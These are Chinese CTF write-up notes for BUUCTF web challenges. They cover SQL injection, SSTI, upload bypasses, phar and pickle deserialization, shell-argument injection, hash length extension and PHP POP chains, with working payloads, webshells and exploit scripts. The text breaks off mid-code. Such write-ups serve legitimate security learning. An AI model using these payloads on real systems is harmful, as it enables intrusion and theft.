BUUCTF知识记录
[强网杯 2019]随便注
先尝试普通的注入
发现注入成功了,接下来走流程的时候碰到了问题
发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update,delete,insert这些sql语句呢?
原来这题需要用到堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入,而堆叠注入可以执行任意sql语句
这下就好理解了,过滤上面那些语句应该是防止我们改数据,先看看堆叠注入的效果
inject=1';show databases;#
显示了所有的表,我们找到含有flag的表,这里可以用之前学的desc查看:)
接下来又碰到问题了,过滤了select怎么查数据?没事,sql中还有预编译的语句:
SET @tn = 'hhh'; 存储表名
SET @sql = concat('select * from ', @tn); 存储SQL语句
PREPARE sqla from @sql; 预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句
解法1:
concat把s,elect,* from `1919810931114514`这三个进行拼接,如下:
inject=1';use supersqli;SET @sql=concat("s","elect"," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
解法2:
可以用十六进制的select然后再用char转换成字符绕过过滤,用concat进行拼接,如下:
SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`"); 存储语句
PREPARE sqla from @sql; 预定义sql语句
EXECUTE sqla; 执行sql语句
payload:
inject=1';use supersqli;SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
easy_tornado
这是一道SSTI模板注入的题
挨个点进去看看吧,flag.txt:
welcome.txt:
hints.txt:
收集到一些信息:
- 首先每一个txt文件后面都跟了一个md5加密的filehash,而这个加密过程在hints.txt中
- flag在fllllllag里,看来是要我们读这个文件
- render这个东西
- 只要知道了cookie_secret,就能构造url读flag
如果直接读flag,会跳转到error页面
如果我们尝试修改msg的值,会发现能输出
后来知道这题考的是SSTI模板注入
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
在贴一篇文章方便理解:传送门
例如传递{{1+1}}这个参数,就会输出传递的变量,会显示2,在本题中却会返回服务器错误,不过在tornado模板中,存在一些可以访问的快速对象,就是handler.settings
得到了cookie_secret,然后构造filehash就能得到flag了
import hashlib
def md5(s):
md5 = hashlib.md5();
md5.update(s)
return md5.hexdigest()
def gethash():
filename = '/fllllllllllllag'.encode('utf-8') #注意这里要加上/
f='3bf9f6cf685a6dd8defadabfb41a03a1'.encode('utf-8') #f是filename的md5
cookie_secret = '4a3d2302-20e6-4e71-8b42-ffc6369121b2'.encode('utf-8')
print(md5(cookie_secret + f))
gethash()
EasySql
除此之外什么也没了,fuzz了一下,发现除了一些符号和select基本上全被过滤了,
当输出了1时,显示了一个数组,再尝试看能不能输出多个数字
尝试输出数据库
不过过滤的真的太多了,用正常的注入肯定是不行了
看了wp才知道原来这题也是用了堆叠注入,直接
1;show tables;
但是这题连Flag都给过滤了,即使想用预编译绕过也得把from放出来吧,所以这条思路应该走不通了
时隔多天再看这道题==
先来看看这个:
sql把0和每一个username的值进行了或运算,还需要了解一下sql_mode是什么:
mysql数据库的中有一个环境变量sql_mode,定义了mysql应该支持的sql语法,数据校验等
可以通过set sql_mode=PIPES_AS_CONCAT
来把管道符看成是concat,也就是拼接符号,再来看看:
在每一个name前加了一个0输出,但是,有什么用?我先传入一个2;
输出了2,如果把分号去掉:
变成了1,可以证明两点:
- 分号的有无会影响输出的结果,并且可以正常输出-->这个query前面被自动加上了select
- 加上分号,原样输出,是因为把后面的语句给闭合了,而当不加分号时,会输出1,
假设sql语句是这样:select 2;
=2,select 2 || ***;
=1,正好是实际的结果
也就大致可以判断sql语句为:select 'query' || flag from flag ;
,当然这里的flag也有一点猜测
再用上面说的方法,就可以把0和flag一起输出了
1;set sql_mode=PIPES_AS_CONCAT;select 0
实际上在sql语句中为:
select 1;set sql_mode=PIPES_AS_CONCAT;select 0 || flag from flag;
所以我们要在第三个语句中加上select,看看结果:
[SUCTF 2019]CheckIn
来到一个上传页面,除此之外啥也没有了
随便先上传个图片马2.jpg,因为这里过滤了<?,所以用script绕过:
GIF98
<script language='php'>
phpinfo();
</script>
得到文件路径:
但是没有可以包含的点,后来又尝试了一下发现.htaccess文件是可以上传的,但是.htaccess文件必须在根目录下才能生效,但是同时也知道了不是白名单过滤,下面涨涨姿势吧:.user.ini
首先,php.ini是我们很熟悉的php配置文件,这些配置又可以分为以下四类,看一下官方解释:
看到PHP_INI_USER这个模式,可以在ini_set、windows注册表、以及.user.ini中设定,再来看看这个
这样就弥补了.htaccess只能在根目录下的缺陷,我们能自定义的配置选项只有:
PHP_INI_PERDIR 、 PHP_INI_USER
,不过在php.ini的配置列表中有以下两个,均为PHP_INI_PERDIR,但是这两个配置有什么用吗?
简单的说,prepend就是指定一个文件,在要执行的文件前先包含,而append就是先执行后包含
因为之前上传的时候有一个index.php文件,所以我们就可以利用.user.ini在执行index.php之前或之后进行包含,接下来是利用了,其实这里任选一个都行,指定要包含的文件
在上传123.jpg的图片马,得到路径,带上index.php这一执行文件进行包含图片马
成功包含
据说这只是个签到题..
参考文章:
传送门
[RoarCTF 2019]Easy Calc
在源代码找到calc.php,访问看到代码:
但是输入phpinfo()没过滤却不能执行
测试了一下应该只允许输入数字,那怎么办?
有必要了解一下php字符串解析漏洞:
PHP会将URL或body中的查询字符串关联到$_GET或$_POST。例如:/?foo=bar代表Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)
PHP在接受参数名时,需要将怪异的字符串转换为一个有效的变量名,因此当进行解析时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
参考文章:freebuf
那我们就自己试一下:
先是正常的php解析函数:
如果我们在num前面加上空格:
可以看到效果和不加空格一样
回到题目,如果我们传:空格num,在url传参中是个不同的参数,所以绕过了只能输入非数字,而字符串解析却是一样的,也能执行代码
我们传参cacl? num=phpinfo()
剩下的只有一些简单的过滤了,可以用反码也可以用chr函数解析ascii码绕过,这里采用第二种
? num=var_dump(scandir(chr(47)))
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{2b06307a-63b7-408b-9e24-b3336bfc1e79}
CISCN2019 华北赛区 DropBox
在download.php下可以控制filename读取文件,如:
post:filename=../../index.php
挨个读一下,构造phar:
<?php
class User{
public $db;
}
class File{
public $filename;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct() {
$file=new File();
$file->filename='/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$a= new User();
$a->db=new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("pb.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问delete.php,post一个
filename=phar://phar.jpg/pb.txt
因为delete.php会先打开该文件,触发phar,然后才删除
[CISCN2019 华北赛区 Day1 Web2]ikun
这题三个考点:
1.逻辑漏洞
2.jwt伪造
3.python反序列化
打开随便注册一个账户登陆
注意到:
大概就是要买v6了,然后翻了几页没找到v6,于是写脚本:
前往181页
但是太贵了买不起,想到可能有什么逻辑漏洞,先点进去康康
F12看了一下源码,注意到有几个隐藏的参数:
挨个试一下发现discount可以改,那么让它往死里打折
购买成功,但是出现
看来需要我们越权成为admin,还是先看看cookie
注意刀这里有一个JWT
jwt为json web token也就是json格式的token验证
直接在jwt.io上解密:
当前username为phoebe,试着改成admin,但是我们得有密钥才能生成jwt,可以用jwtcrack工具:
传送门
得到密钥1Kun,回去加密
改cookie:
还要成为大会员...但是点击它没 啥反应,ctrl+u看看源码,观察到:
下载下来是一个压缩包,并且了解到是python写的站
唉审计能力太差了,翻来翻去没翻到啥东西,原来在views/Admin下有:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
看到post这个函数里,首先get_argument是一个框架的内置函数用来获取变量
become = self.get_argument('become')
然后urllib.unquote把字典形式的参数进行url编码,然后pickle.loads对应pickle.dumps,相当于反序列化和序列化
p = pickle.loads(urllib.unquote(become))
首先来看一下pickle.dumps产生的序列化大概是个什么样子
是一个二进制的文件流,多用来写文件,然后再来了解一下python的魔术方法_reduce_
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。
_reduce_ 被定义之后,当对象被Pickle时就会被调用。
看一个demo理解一下:
import os
import pickle
class Pb():
def __init__(self):
print('init')
def __reduce__(self):
return os.system('whoami')
a = Pb()
print(pickle.dumps(a))
大致就是在pickle的时候会调用,那么我们可以:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
主要还是这行代码:
return (eval, ("open('/flag.txt','r').read()",))
先看看__reduce__的一些定义
reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
这个元组包含2到5个元素,其中包括:
一个可调用的对象,用于重建对象时调用;
一个参数元素,供那个可调用对象使用;
被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)
我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open('/flag.txt','r').read()
把上面的payload在python2环境下跑一下:
我们需要把它传给become然后反序列化触发reduce返回输出flag
抓包改一下become
[BUUCTF 2018]Online Tool
代码审计
首先我们传参host给$host,然后经过escapeshellarg,在经过escapeshellcmd,然后将字符串与ip拼接md5加密生成一个目录并进入,然后执行nmap命令
大概看完了,那么就先了解一下escapeshellarg
和escapeshellcmd
两个函数吧
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
实操一下
可以看到这个escapeshellarg函数首先将整个字符串用单引号包裹,然后对我们输入的单引号进行转义,再在单引号两边分别加上一个单引号
这样就相当于把我们传的值分隔成两个字符串拼接的形式
再来看一下escapeshellcmd
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
就是加上转义符,那么如果这两个一起使用会发生什么呢,改一下代码:
可以看到escapeshellcmd只对不匹配的单引号以及\做了转义
两个转义符变成一个,不过我们还需要再闭合最后一个单引号,那就再加一个单引号:
所以这里的shell也就能执行了,只不过shell前后会多上\,这样比较南执行
回到题目,用的是nmap命令,有个点是nmap可以用-oG命令来写文件,所以我们的payload是:
'<?php eval($_POST["a"]);?> -oG 1.php '
也就是:
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' shell'\\'''
简化一下:
nmap -T5 -sT -Pn --host-timeout 2 -F \ shell \
->
nmap -T5 -sT -Pn --host-timeout 2 -F \<马> -oG 1.php\
然后连上cat /flag
[De1CTF 2019]SSRF Me
打开即获得源码,使用python写的:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
首先看三个路由:
/geneSign
首先由GET方式获得param的值,然后action="scan",传入getSign返回,看一下getSign函数:
getSign()
就是返回md5(secert_key + param + action),也就是生成一个签名
/De1ta
首先,action和sign分别从cookie中获取对应的值,param由GET传参获取值
而且param要经过waf这个函数检验
waf()
param不能以gopher或file开头,也就是不让我们用这两个协议读文件,回到路由
将action, param, sign, ip作为参数生成一个Task类,最后调用Task类下的Exec方法,json格式返回
第三个路由:
/
只是输出源码:
重点看Task类:
首先是__init__方法,初始化赋值并以ip创建一个沙盒
然后是Exec方法:
首先31行调用checkSign检查签名是否一致:
进入判断:
看一下scan方法:读文件
假设我们param传入flag.txt,会把flag写到result.txt里,继续
那么只要我们的action中又有scan又有read,但是如果这样那么签名就会不一致,因为在/geneSign
路由中action是写死的,为scan:
我们不知道密钥的值,不能自己构造一个又有scan又有read并且值与只有scan相同的值
所以这里要用哈希长度拓展攻击,hashpump
先访问/geneSign?param=flag.txt
路由得到签名
用hashpump生成:
得到一个伪造的签名和action的值,exp:
import requests
url = 'http://e29ed022-2592-48de-8195-a34de141715c.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '6d634a2c385c75450818b8630eade2b5',
'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
result = requests.get(url=url, cookies=cookies)
print(result.text)
不过这里好像有另外一种简单的方法==
访问/geneSign?param=flag.txtread
这样签名就变成了:
md5(secert_key + 'flag.txtread' + 'scan')
然后只要在/De1ta
路由中令sign=a8c39168ce7533e8cf21eb018f6a740e,然后action=readscan,再一次加密验证结果是一样的,exp:
import requests
url = 'http://e29ed022-2592-48de-8195-a34de141715c.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': 'a8c39168ce7533e8cf21eb018f6a740e',
'action' : 'readscan'
#'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
result = requests.get(url=url, cookies=cookies)
print(result.text)
[SUCTF 2019]EasyWeb
上来就是源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
首先get_the_flag()是个文件上传的函数,然后下面是熟悉的无字母数字shell,可以通过异或来执行,异或脚本
<?php
$payload = '_GET';
for($i=0;$i<strlen($payload);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $payload[$i])
$result .= '%'.dechex($j);
}
}
echo $result;
运行一下得到:%a0%b8%ba%ab,然后就可以构造$_GET了,尝试执行phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
当然不可能直接rce,下一步调用get_the_flag()函数
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
首先看到这个过滤
直接在文件里找有没有<?,正常情况下可以用script绕过,但是刚才phpinfo可以看到版本是7.0+的,而php在7.0以及取消了这个用法,下面看另外一种方法:
utf-16编码绕过
,原理如下:
也就是在utf-8中,编码方式是一个字节一个字节编码的,而在utf-16中,编码是两个字节一起的,所以<?这两个字节就一起进行了utf16编码,可以看到左边16进制也不一样
然后再看exif_imagetype,这是一个php内置的获取图片类型的函数,而且是通过文件前几个字节来检验的
有两种方法,一是直接加上二进制文件头,例如GIF98a:
b"\x18\x81\x7c\xf5"
还有一种是定义图片的长宽
#define width 1
#define height 1
而且这里后缀只限制ph,所以可以利用.htaccess绕过
生成脚本如下:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .w\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.w", "<?php eval($_GET['cmd']); ?>")
运行一下会生成.htaccess和shell.w的文件,挨个用postman上传:
得到路径访问,解析成功
这里system被过滤了
本来想用scandir来看一下根目录文件的,结果:
原来这里加了open_basedir限制,限制文件访问的范围只能在/var/www/html/或/tmp下,
open_basedir是php.ini的一个配置选项,也可以这样来定义:
ini_set('open_basedir', '指定目录');
那我们就尝试指定目录为:..
,然后用chdir改变文件路径
例如当前路径为:/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/
chdir('..')后就变成了/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/..
就这样一直跳到根目录,如下
ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');print_r(scandir('.'));
然后再设置open_basedir为/,总的来说就是:
/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/../../../../../
然后读文件
[安洵杯 2019]easy_serialize_php
源码:
<?php
$function = @$_GET['f'];
//过滤函数
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
f可以选择三个参数:
1.highlight_file
2.phpinfo,并且提示may find sth
3.show_image,会把$_SESSION[img]中的东西base64解码然后显示出来
那么我们先看一下phpinfo中有什么信息
可以看到auto_append_file设置了php代码执行结束后加载的一个文件,猜测这就是flag了,要用show_image来读它
如果直接
f=show_image&img_path=d0g3_f1ag.php
的话会被sha1放入$_SESSION
而这里只有b64解码,所以得换一下思路
首先注意到有一个extract,想到可以变量覆盖,使我们有机会直接修改_SESSION
并且这一行代码:
先进行序列化再用过滤函数,这样很容易产生漏洞,造成反序列化逃逸,而反序列化逃逸有两种:
第一种就是直接替换,例如where->hacker,具体看[0CTF 2016]piapiapia这道题
第二种就是本题的情况了,直接替换为空
假设我们利用变量覆盖post一个:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
序列化_SESSION后的数应该是:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
注意这里有2个img,一个是d0g3_f1ag.php,一个是由于我们没传img_path,默认为guest_img.png
过滤后将这6个flag字符串替换为空:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
这样就导致少了24个字符,就会继续往后拿24个字符:";s:8:"function";s:59:"a
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
由于该序列化开头为a:3,也就是有3个键值对,分别为:
user: ";s:8:"function";s:59:"a
img: ZDBnM19mMWFnLnBocA==
dd: a
到此序列化就完整了,后面多出来的
";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
被视为多余的字符而被丢弃,所以img也就成功被我们写入了ZDBnM19mMWFnLnBocA==
换一下:
[CISCN2019 总决赛 Day1 Web4]Laravel1
Laravel源码审计,找反序列化链
遇到这种题真的很头疼,不知道从哪入手
总体思路还是先全局搜索__destruct函数,找到这个类
跟进commit->跟进invalidateTags
注意到上面这行代码,可以在该类下ctrl+f搜一下$this->pool
可以看到$this->pool是我们可控的,不过要实现AdapterInterface这个接口,那么如果我们找到某个类,它既实现了AdapterInterface这个接口,同时又有saveDeferred方法(或者没有而有__call方法),而且满足一定条件能文件读取或命令执行即可
还是全局搜索saveDeferred方法,然后首先跟据有无AdapterInterface接口进行排除
我直接说能出结果的吧,首先是这个PhpArrayAdapter.php
跟进initialize方法,来到另外一个类下,应该是继承或者trait复用关系
这里看到了有文件包含点
接着构造poc,首先
在PhpArrayAdapter类下的saveDeferred方法的入口参数item是实现了CacheItemInterface的,也就是item应该为实现了该接口的类的实例
在use下也看一下应该就是CacheItem了
故此有
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
然后令include下的文件为/flag,固有:
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
再然后回到触发点Tag...这个类,其中item为deferred这个数组的值,并且这里的item需要实现CacheItemInterface接口,也就是item为CacheItem类的实例,而pool就是phparrayadapter的实例即可
固有
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
组合一下就是
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
还有一个可行的就是ProxyAdapter.php,思路差不多,执行点在这里
两个参数都可控,system('cat /flag')
<?php
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = "cat /flag";
}
namespace Symfony\Component\Cache\Adapter;
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
public function __construct()
{
$this->pool = new ProxyAdapter();
$this->deferred=array("xxx" => new CacheItem());
}
}
class ProxyAdapter
{
private $setInnerItem;
public function __construct()
{
$this->setInnerItem = "system";
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
[ByteCTF 2019]EZCMS
首页是一个登录框,随便什么都能登陆进去:
登陆之后有一个文件上传功能和一个查看文件路径的功能,并且默认有一个.htaccess文件
当上传文件时提示不是admin
扫一下目录,发现有www.zip源码
在config.php处看到了
很明显是要用hashpump
改cookie,登陆,尝试上传php文件
看一下源码的过滤:
使用字符拼接绕过:
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>
但是直接访问会报错
猜测应该是.htaccess的问题,回头看一下源码,view.php
这里有一个创建File实例,并且参数都可控,看一下File类,在config.php里
class File{
public $filename;
public $filepath;
public $checker;
...
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
这里有一个__destruct方法,并且$this->checker可控,可以用它做跳板,让$this->checker为一个类的实例,并且该类下没有upload_file方法,触发__call,发现只有Profile类满足条件:
class Profile{
public $username;
public $password;
public $admin;
...
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
现在三个参数可控,也没有其他类可以用了,只能在open()上寻找突破口了
刚好php有一个内置类ziparchive
看一下可选参数:
如果存在就以空文档覆盖,这样就能去掉.htaccess了
我们可以用上面的链生成一个phar文件,上传,然后在filepath处phar://包含
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "/var/www/html/sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
$this->password = ZipArchive::OVERWRITE;
$this->admin = new ZipArchive();
}
}
$a = new File('xxx','xxx');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
运行生成1.phar,上传
不过这里不能直接用phar://包含,因为:
不能直接以phar://开头,可以php://filter/resource=phar://,如下:
直接访问php文件,若访问upload.php会再次生成.htaccess,upload.php:
[EIS 2019]EzPOP
访问?src=1得到源码:
class A
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
//遍历保留数组中相同的键
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
cleanContents函数,其中array_intersect_key返回两个参数中键名相同的数据,也就是$path只能在下面10个里选
例如$content=["path"=>1,"xxx"=>2]经过该函数只会剩下["path"=>1]
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
getForStorage函数,调用上面的函数,返回得到$cleaned并且与$complete json编码
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
save函数,调用上面的函数,然后调用$store->set,但是A类并没有该函数,所以需要让$store=new B()
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
__destruct,调用save函数
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
A类:__destruct->A::save()同时B::set()->A::getForStorage()->A::cleanContents()
class B
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
